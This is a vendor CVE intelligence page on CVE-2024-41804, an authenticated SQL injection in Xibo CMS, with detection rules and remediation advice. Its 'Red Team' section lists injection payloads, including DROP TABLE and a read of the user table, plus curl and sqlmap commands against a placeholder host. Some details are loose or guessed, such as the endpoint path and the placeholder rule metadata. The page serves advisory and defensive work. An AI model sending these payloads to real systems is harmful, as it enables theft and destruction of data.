☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-41804

CVE-2024-41804 SQL Injection in Xibo
📅 PUBLISHED: 2024-07-30 15:51 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41804 is a critical SQL injection vulnerability discovered in the Xibo Content Management System (CMS). The flaw resides in the API route responsible for adding or editing DataSet Column Formulas. An authenticated attacker can inject malicious SQL code via the formula parameter, leading to unauthorized data access and modification of the underlying database. This vulnerability has a CVSS score of 6.5 (Medium), but due to the potential for data exfiltration and manipulation, it poses a significant risk to the confidentiality and integrity of the Xibo database. No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has released patches in versions 3.3.12 and 4.0.14.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) - An authenticated user account is required.
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H) - Full database read access possible.
  • Integrity Impact: High (I:H) - Full database write access possible.
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is medium, the potential for complete database compromise (read/write) elevates the risk. The requirement for authentication reduces the attack surface but does not eliminate it, as any authenticated user (including low-privilege users) can exploit this flaw.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection (CWE-89) within the Xibo CMS API. The vulnerable endpoint is used to manage DataSet Column Formulas. The formula parameter is not properly sanitized or parameterized before being incorporated into a SQL query.

Technical Flow:

  1. An authenticated user sends a POST or PUT request to the API endpoint for adding/editing a DataSet Column Formula.
  2. The request includes a formula parameter containing the user's input.
  3. The application constructs a SQL query by directly concatenating the formula value without proper escaping or using prepared statements.
  4. An attacker can inject SQL commands by providing a crafted formula value, such as: 1; DROP TABLE xibo_dataset; --
  5. The injected SQL is executed against the database, allowing the attacker to read, modify, or delete arbitrary data.

Root Cause: Lack of input validation and failure to use parameterized queries (prepared statements) for the formula parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input
$sql = "UPDATE dataset_column SET formula = '" . $_POST['formula'] . "' WHERE id = " . $columnId;
$db->query($sql);

Patched Code (Conceptual):

// Patched: Using prepared statements
$stmt = $db->prepare("UPDATE dataset_column SET formula = :formula WHERE id = :id");
$stmt->bindParam(':formula', $_POST['formula']);
$stmt->bindParam(':id', $columnId, PDO::PARAM_INT);
$stmt->execute();

The patched version uses parameterized queries, which ensure that user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Xibo CMS (version < 3.3.12 or < 4.0.14).
  • Valid credentials for an authenticated user.

Exploitation Steps:

  1. Identify the vulnerable endpoint: The API route for adding/editing DataSet Column Formulas. Typically, this is something like /api/dataset/column/formula or similar.
  2. Craft the injection payload: Use a tool like sqlmap or manually craft a payload. Example payload for the formula parameter:
    '; SELECT * FROM xibo_user; --
    
  3. Send the request: Use curl or Burp Suite to send a POST request with the malicious payload.
    curl -X POST 'http://target-xibo/api/dataset/column/formula' \
      -H 'Content-Type: application/json' \
      -H 'Authorization: Bearer <valid_token>' \
      -d '{"formula": "1; SELECT * FROM xibo_user; --", "columnId": 1}'
    
  4. Extract data: The response may contain the results of the injected query, or you may need to use blind SQL injection techniques (time-based or boolean-based) to exfiltrate data.

Automated Exploitation with sqlmap:

sqlmap -u "http://target-xibo/api/dataset/column/formula" \
  --data='{"formula": "test", "columnId": 1}' \
  --headers='Content-Type: application/json' \
  --cookie='PHPSESSID=your_session_id' \
  --level=5 --risk=3 --batch

Blue Team (Defensive)

Detection:

  • Monitor for unusual SQL queries in database logs, especially those containing UNION, SELECT, DROP, or INSERT statements originating from the Xibo application user.
  • Look for API requests to the /api/dataset/column/formula endpoint with suspicious payloads in the formula parameter (e.g., containing SQL keywords, quotes, or comments like --).
  • Implement Web Application Firewall (WAF) rules to block common SQL injection patterns.

Hunting:

  • Search for HTTP requests with formula parameter values containing SQL metacharacters (', ", ;, --, /*).
  • Correlate database errors (e.g., "You have an error in your SQL syntax") with API requests to the vulnerable endpoint.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /api/dataset/column/formula with unusual formula parameter values.
    • Database queries containing injected SQL syntax (e.g., UNION SELECT, OR 1=1).
  • File IOCs:
    • Modified or new files in the Xibo installation directory (e.g., webshells).
  • Log IOCs:
    • Database error logs showing SQL syntax errors.
    • Web server access logs showing repeated requests to the vulnerable endpoint with varying formula values.

Detection Engineering

YARA Rule

rule CVE_2024_41804_Xibo_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-41804 in Xibo CMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41804"
    strings:
        $s1 = "formula" ascii wide nocase
        $s2 = "dataset" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "UNION" ascii wide nocase
        $s5 = "DROP" ascii wide nocase
        $s6 = "1=1" ascii wide nocase
        $s7 = "--" ascii wide nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: Xibo CMS SQL Injection via formula Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against the Xibo CMS API endpoint for DataSet Column Formulas.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/dataset/column/formula'
        cs-uri-query|contains|all:
            - 'formula'
            - 'SELECT'
            - 'UNION'
            - 'DROP'
            - '1=1'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in formula names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41804 Xibo CMS SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/dataset/column/formula"; http_uri;
    content:"formula"; http_client_body;
    pcre:"/(SELECT|UNION|DROP|1=1|--)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-41804;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Xibo CMS to version 3.3.12 or 4.0.14 immediately.
  2. If immediate upgrade is not possible, disable the vulnerable API endpoint temporarily by modifying web server configuration (e.g., block POST requests to /api/dataset/column/formula).
  3. Review database logs for any signs of exploitation.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with SQL injection prevention rules.
  • Enforce the principle of least privilege for database users.
  • Conduct regular security audits and penetration testing.
  • Ensure all user inputs are properly sanitized and parameterized queries are used.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41804/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.